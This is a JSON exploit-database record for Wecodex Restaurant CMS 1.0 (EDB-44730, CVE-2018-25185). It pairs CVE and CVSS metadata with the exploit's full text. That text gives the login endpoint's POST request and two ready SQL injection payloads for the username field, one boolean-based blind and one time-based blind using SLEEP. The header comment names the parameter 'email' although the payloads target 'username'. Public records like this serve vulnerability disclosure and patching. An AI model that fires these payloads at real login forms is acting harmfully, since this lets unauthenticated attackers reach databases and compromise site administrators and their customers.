{"exploit":{"id":"EDB-44730","name":"Wecodex Restaurant CMS 1.0 - 'username' SQL Injection (SQLi)","description":"Wecodex Restaurant CMS 1.0 - 'username' SQL Injection (SQLi)","cves":["CVE-2018-25185"],"author":"AkkuS","published":"2018-05-23","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44730","path":"exploits/php/webapps/44730.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44730.txt","vulnerabilities":[{"id":"CVE-2018-25185","state":"PUBLISHED","title":"Wecodex Restaurant CMS 1.0 SQL Injection via Login","titleSource":"CVE Program","description":"Wecodex Restaurant CMS 1.0 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the username parameter. Attackers can send POST requests to the login endpoint with malicious SQL payloads using boolean-based blind or time-based blind techniques to extract sensitive database information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-25185","cvss":{"version":"4.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-25185"},"updatedAt":"2026-03-26T13:38:07.688Z","retrievedAt":"2026-11-26T14:49:14.233Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44730.png?v=2","url":"https://exploitbin.com/exploits/EDB-44730","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44730/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44730/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection\n# Dork: N/A\n# Date: 2018-05-23\n# Exploit Author: Özkan Mustafa Akkuş (AkkuS)\n# Vendor : Wecodex Solutions\n# Vendor Homepage: https://www.wecodex.com/item/view/restaurant-system-in-php-and-mysql/6\n# Version: 1.0\n# Category: Webapps\n# Tested on: Kali linux\n# Description : PHP Dashboards is prone to an SQL-injection vulnerability\n# because it fails to sufficiently sanitize user-supplied data before using\n# it in an SQL query.Exploiting this issue could allow an attacker to\n# compromise the application, access or modify data, or exploit latent\n# vulnerabilities in the underlying database.\n\n# PoC : SQLi :\n# Demo : https://Target/demos/restaurant/admin/\n\nhttps://Target/demos/restaurant/admin/index.php?action=processlogin\n\nPOST /demos/restaurant/admin/index.php?action=processlogin HTTP/1.1\nHost: Target\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101\nFirefox/45.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://Target/demos/restaurant/admin/\nCookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 30\nusername=admin&password=123456\n\n\n# Vulnerable Payload :\n# Parameter: email (POST)\n# Type: boolean-based blind\n# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause\n# Payload:\n\nusername=admin\" RLIKE (SELECT (CASE WHEN (7084=7084) THEN\n0x61646d696e4061646d696e2e636f6d ELSE 0x28 END)) AND\n\"eloY\"=\"eloY&password=123456\n\n# Type: AND/OR time-based blind\n# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n# Payload:\n\nusername=admin\" AND (SELECT * FROM (SELECT(SLEEP(5)))lzxm) AND\n\"vZea\"=\"vZea&password=123456","sha256":"4cf84a56e4ea9bf2e20f7e37e4f995e3609aef15086f310588322cbe7b0011ee","bytes":1820,"fetchedAt":"2026-11-27T01:07:56.697Z","encoding":"utf-8 (display only; download retains original bytes)"}